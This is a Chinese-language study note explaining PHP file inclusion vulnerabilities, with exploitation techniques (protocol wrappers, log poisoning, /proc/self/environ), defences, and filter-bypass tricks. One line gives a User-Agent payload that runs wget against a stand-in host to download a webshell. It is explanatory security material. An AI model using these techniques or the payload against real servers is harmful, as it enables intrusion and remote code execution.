文件包含漏洞原理:(php)
是指當服務器開啟allow_url_include選項的時候,通過php某些特性函數、如include()、include_once()、require()、require_once(),使用url動態的去包含文件,此時如果對包含的文件沒有進行過濾,就可能導致任意文件讀取和任意命令執行。
文件包含漏洞分為本地文件包含和遠程文件包含
遠程文件包含是因為allow_url_fopen=on開啟,導致本地服務器可以包含遠程服務器上的一個文件,如果對這個文件沒有進行審查,可能會導致意想不到的結果
文件包含的利用方式:
1.包含上傳文件:我們可以在上傳的文件中寫入腳本、在知道路徑的情況下可以連接拿shell
2.使用一些php偽協議:(php://input、data、php://filter)
①php://input協議和data協議
php://input協議和data協議的使用前提是allow_url_include需要開啟。
Ⅰ:php://input默認接收post傳來的參數,我們可以使用input上傳我們需要執行的語句(一句話,文件,命令)
我們可以使用hackbar插件對post進行構造
條件:
php <5.0 ,allow_url_include=Off 情況下也可以用
php > 5.0,只有在allow_url_fopen=On 時才能使用
Ⅱ:data://協議、主要是使用文字和圖片命令,直接在url中進行構造
文字命令和php://input中的一句話類似,圖片命令主要是圖片馬
②php://filter:我們可以使用這個協議查看源碼,不過源碼是以base64加密傳輸過來的
3.包含日志文件:
我們在url中輸入的信息一般都會保存到日志文件中,如果我們在url中輸入腳本代碼,那么這個腳本代碼也會保存到日志文件中,如果此時我們知道這個腳本保存的日志文件的路徑,那么我們可以直接連接執行。這個方法在凌晨的時候是最方便的,因為日志文件是一天一保存,凌晨時候,日志文件最少,我們利用起來更加方便。
4.包含/proc/self/environ文件
找到文件包含漏洞,嘗試訪問/proc/self/environ文件,訪問成功的話,在user-agent頭中添加腳本代碼
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
防御方法:
1.在不必須的情況下,關閉allow_url_include選項
2.使用白名單和黑名單對可包含的文件進行限制
3.盡量不使用動態包含
4.在服務端和客戶端都進行過濾
繞過方法:
1.00%進行截斷,00%可以截斷file變量后面的字符串
2.使用./構造超長字符串進行截斷
3.使用../進行目錄遍歷
4.使用?進行截斷,使用原理和%00相同